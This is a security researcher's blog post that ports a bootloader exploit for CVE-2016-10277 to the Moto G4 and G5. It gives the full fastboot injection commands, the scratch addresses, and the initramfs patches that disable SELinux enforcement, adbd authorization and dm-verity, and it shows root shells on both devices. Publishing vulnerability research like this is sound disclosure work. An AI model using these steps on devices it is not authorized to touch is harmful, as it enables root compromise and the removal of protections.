<--

initroot: Hello Moto

By Roee Hay (@roeehay)
June 7, 2017
* *

In the previous blog post, we suggested that CVE-2016-10277 could affect other Motorola devices. After receiving a few reports on Twitter that this was indeed the case, we acquired a couple of Motorola devices, updated to the latest available build we received over-the-air:

  1. Moto G4 athene XT1622 , running NPJS25.93-14.4, bootloader moto-msm8952-B1.05.
  2. Moto G5 cedric XT1676 , running NPP25.137-33, bootloader moto-msm8937-B8.09.

Recap of the Last Blog Post

  1. Vulnerable versions of the Motorola Android Bootloader (ABOOT) allow for kernel command-line injection.
  2. We can inject a parameter, named initrd, which allows us to force the Linux kernel to populate initramfs into rootfs from a specified physical address.
  3. We can abuse the ABOOT download functionality in order to place our own malicious initramfs at a known physical address, named SCRATCH_ADDR (0x11000000 for Nexus 6).
  4. Exploiting the vulnerability allows the adversary to gain an unrestricted root shell. (And more!)

Verifying CVE-2016-10277 on Moto G4 & G5

Verifying that the devices were indeed vulnerable was pretty straightforward, a simple fastboot oem config fsg-id "a androidboot.foo=bar" caused the ro.boot.foo property to be created:

$ fastboot oem config fsg-id "a androidboot.foo=bar"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a androidboot.foo=bar
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.013s]

$ fastboot continue
$ adb shell 
cedric:/ $ getprop ro.boot.foo
bar
cedric:/ $

That proved that the argument had been injected into the cedric kernel command-line. (With a similar result on athene)

Next we verified that we could control the initrd argument, which allowed us to force the Linux kernel to load initramfs from a specified physical address. We ran fastboot oem config fsg-id "a initrd=0x12345678,1234", expecting the kernel to crash afterwards. It indeed crashed!

Porting initroot to Moto G4 & G5

As mentioned above, there are two G4 & G5 specific requirements that we need to resolve before we can exploit the vulnerability:

  1. Find the SCRATCH_ADDR values used by the bootloaders.
  2. Create malicious initramfs archives.

Finding the SCRATCH_ADDR Values

Loading athene’s and cedric’s ABOOTs in IDA quickly reveals SCRATCH_ADDR:

// athene
signed int target_get_scratch_address()
{
  return 0x90000000;
}

// cedric
signed int target_get_scratch_address()
{
  return 0xA0100000;
}

(Research tip: athene’s and cedric’s ABOOTs have full symbols, and share much code with the stripped shamu’s ABOOT)

Verifying the SCRATCH_ADDR Values

Before we dived into the malicious initramfs creation, we wanted to verify that the SCRATCH_ADDR values were indeed correct, otherwise it would have been difficult to pinpoint potential problems. That proved to be a good plan, as we will see next.

In order to verify the addresses, we extracted the original initramfs archives from the boot images inside the official Motorola firmware. We then exploited the vulnerability, loading the official initramfs, but from SCRATCH_ADDR instead.

$ fastboot oem config fsg-id "a initrd=0x90000000,1766036"
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x90000000,1766036
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s

$ fastboot flash aleph initramfs.cpio.gz 
target reported max download size of 536870912 bytes
sending 'aleph' (1725 KB)...
OKAY [  1.088s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.095s

$ fastboot continue

Instead of loading normally, the devices ran into infinite boot loops, leaving us quite puzzled.

Padded Payload

We then took a wild guess. We’ve realized that after we upload initramfs into SCRATCH_ADDR, and before ABOOT jumps to the Linux kernel, cedric’s and athene’s ABOOTs could put some other unrelated data at SCRATCH_ADDR, corrupting our initramfs (but not fully).

Overcoming this obstacle can be done by placing some padding data before initramfs, and adjusting initrd accordingly (to SCRATCH_ADDR + sizeof(PADDING)). Therefore, if our hypothesis were true, we would have the following memory layout just before the Linux kernel execution:

.--------------------------------.----------------------.
| Physical Address               | Data                 |
|--------------------------------|----------------------|
| SCRATCH_ADDR                   | Corrupted PADDING    | 
| SCRATCH_ADDR + sizeof(PADDING) | Controlled initramfs |
`--------------------------------'----------------------'

True the hypothesis or not, using this technique, with a 32MB padding (0x20000000) has resolved our boot loops.

Creating initramfs for Moto G4 & G5

In the Nexus 6 case, in order to create an initramfs that gave us an unrestricted root shell through adb, we had just compiled an AOSP userdebug image. That worked because the userdebug image has the capable su SELinux domain, and an adbd that given some system properties, does not setuid/setgid to shell, does not drop its capabilities, and does not ask for authorization.

Since we don’t have a build configuration for Moto G4 & Moto G5, we decided to take the quickest path, and patch the official initramfs archives:

  1. By Patching init, we’ve put SELinux into permissive mode. The result code is something similar to the following:
    static void selinux_initialize(bool in_kernel_domain) {
    [...]
     if (in_kernel_domain) {
    [...]
         bool is_enforcing = selinux_is_enforcing();
         security_setenforce(0); // always permissive
    [...]
    }
    
  2. Patched adbd such that it remains as root, and does not drop its capabilities. (We replaced the relevant calls with NOPs).
  3. Patched adbd such that it does not ask for authorization. (We’ve set the auth_required global to 0).
  4. Disabled dm-verity on the relevant partitions.
  5. Removed the locked-device USB policy under init.mmi.usb.sh
  6. etc

Updated PoC is available on the initroot repository.

Putting Everything Together: Got roots!

On Moto G4:

$ fastboot oem config fsg-id "a initrd=0x92000000,1774281" 
$ fastboot flash aleph initroot-athene.cpio.gz 
$ fastboot continue

$ adb shell
athene:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # getenforce
Permissive
athene:/ #

On Moto G5:

$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598" 
$ fastboot flash aleph initroot-cedric.cpio.gz 
$ fastboot continue

$ adb shell 
cedric:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
cedric:/ # getenforce
Permissive
cedric:/ #